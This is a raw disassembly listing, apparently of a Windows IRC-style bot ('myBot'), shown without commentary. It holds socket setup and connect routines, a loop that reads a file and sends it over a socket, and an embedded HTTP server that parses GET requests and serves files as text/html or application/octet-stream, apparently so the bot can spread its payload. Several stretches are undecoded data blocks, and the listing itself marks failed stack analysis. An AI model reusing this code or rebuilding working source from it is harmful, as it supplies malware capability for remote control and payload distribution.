		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE390
		nop
		call	near ptr 26F0000h
		jmp	short loc_40E47F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: ___:0040E4E8j
					; ___:0040E502j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE384
		call	near ptr 2700000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE394
		call	dword_4CB6A4
		jmp	short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2D0Eo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
		dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh,	4CB68015h
		dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
		dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
		dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE388h
		dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h,	0A10000CFh
		dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 3BE890B4h, 5002301Eh, 0E38835FFh,	0E890004Ch
		dd 2301E2Eh, 0E5E89050h, 8D023019h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
		dd 0E8905700h, 2252596h, 50E8458Dh, 0B9685757h,	8D0040E4h
		dd 5057F445h, 202DE890h, 45890227h, 0E8458DECh,	68575750h
		dd 40E476h, 57F4458Dh, 14E89050h, 6A022720h, 0F04589FFh
		dd 90D875FFh, 282065E8h, 75FF5702h, 197AE8F0h, 57900229h
		dd 0E8EC75FFh, 2291970h, 0F075FF90h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 2F2559E8h, 8C35FF02h, 0FF004CE3h,	9035FFD6h
		dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9F9Dh, 0E39CA359h
		dd 0C359004Ch
dword_40E6F0	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BACE+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
		dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 69E89053h
		dd 8B022D18h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
		dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
		dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
		dd 5959FFFFh, 17EAE856h, 6890022Dh, 0FFFEh, 9E63E853h
		dd 0A3590000h, 4CE39Ch,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
		dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFCB8AE8h, 565959FFh, 2D176FE8h, 56A9002h, 7C15FF57h
		dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
		dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C68FE8h, 8D505900h,	0FFF94085h, 75FF50FFh, 0A415FF08h
		dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
		dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
		dd 6A59FFh, 166EE890h
		db 2Dh,	2
word_40E992	dw 8B55h		; DATA XREF: sub_40BACE+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 6A57F9E8h, 53569071h, 37E8026Ah
		dd 90716A52h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h,	8B57FB6Ah
		dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 0E8578004h, 716A2B36h
		dd 90A16690h, 83004CB3h, 5000B865h, 0B445C766h,	15FF0002h
		dd 4CB654h, 0B6458966h,	6AB4458Dh, 90575010h, 6A5481E8h
		dd 7DC08571h, 0E9C38B07h, 560h,	0E8570A6Ah, 716A7382h
		dd 0D49D8990h, 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	2DF2E890h
		dd 0F883716Ah, 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CACEE850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CABFE8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 17C75E8h,	0FC08500h, 4BA84h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh
		dd 716A9B85h, 0FFF88390h, 491840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A6B17E8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 2EA3E890h, 0D4E9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 433ECCh, 0DA57E850h,	858D0000h, 0FFFFFF50h, 433EC468h
		dd 71E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	3EAC6816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 3EA468FFh,	0E8500043h
		dd 0D44Ch, 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h
		dd 0FF50858Dh, 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h
		dd 560A7559h, 74680D6Ah, 0EB00433Eh, 50858D40h,	68FFFFFFh
		dd 433E6Ch, 0D40AE850h,	85590000h, 0A7559C0h, 68106A56h
		dd 433E58h, 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h
		dd 0BF000002h, 433E2Ch,	0FF50858Dh, 5057FFFFh, 0D3C3E8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h
		dd 0D3ACh, 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 433E1068h, 75E85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 433DFC68h, 27BE900h, 858D0000h
		dd 0FFFFFF50h, 433DF468h, 51E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 433DC8h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh
		dd 433DC0h, 0D306E850h,	85590000h, 2A7559C0h, 0A8BE056Ah
		dd 5900433Dh, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C250h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 433DA068h, 0C5E85000h, 590000D2h, 0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h
		dd 3D7868FFh, 0E8500043h, 0D861h, 0FF04858Dh, 0E850FFFFh
		dd 0C989h, 858DF88Bh, 0FFFFFD2Ch, 0C97BE850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C780h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 3D706857h, 0E8500043h, 0CA5Eh
		dd 858D106Ah, 0FFFFFF04h, 8EE85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E8458D50h, 0E0458D50h, 0D8458D50h, 0C4458D50h
		dd 433D6468h, 2BE85000h, 830000CAh, 6A5618C4h, 3D44681Dh
		dd 1EE90043h, 8D000001h, 0FFFF5085h, 3D3C68FFh,	0E8500043h
		dd 0D1F4h, 59C08559h, 0E4850Fh,	6A560000h, 3D106828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 20E850C4h, 59000001h,	5901F883h
		dd 0B6850Fh, 458D0000h,	858D50C4h, 0FFFFF720h, 433CF468h
		dd 0C7E85000h, 830000C9h, 0B5390CC4h, 0FFFFFBBCh, 8D562375h
		dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh
		dd 0FFF920B5h, 0AB89E8FFh, 0C483FFFFh, 14AE814h, 0F8830000h
		dd 93850F01h, 56000000h, 0DC68176Ah, 0FF00433Ch, 0D3FF0875h
		dd 50C4458Dh, 0F720858Dh, 0BC68FFFFh, 5000433Ch, 0C969E8h
		dd 0CC48300h, 0FBBCB539h, 2375FFFFh, 20858D56h,	0FFFFFFF7h
		dd 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h
		dd 0FFFFAB2Bh, 8D14C483h, 0FFF72085h, 56E850FFh, 0FF000062h
		dd 4CE16005h, 2EEB5900h, 68206A56h, 433C98h, 858D1FEBh
		dd 0FFFFFF50h, 42D08468h, 0F5E85000h, 590000D0h, 7559C085h
		dd 1B6A560Dh, 433C7C68h, 875FF00h, 646AD3FFh, 0FD60858Dh
		dd 5056FFFFh, 0C5F3E8h,	87D8B00h, 470CC483h, 89FC7D3Bh
		dd 8E0F087Dh, 0FFFFFB01h, 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE3A8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE3A8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE3A8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: ___:0040F01Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: ___:0040F0B4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2680646h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: ___:0040F077j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: ___:0040F071j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB654
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB540
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6EC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D124 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433F14 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6EC


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 27215B6h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
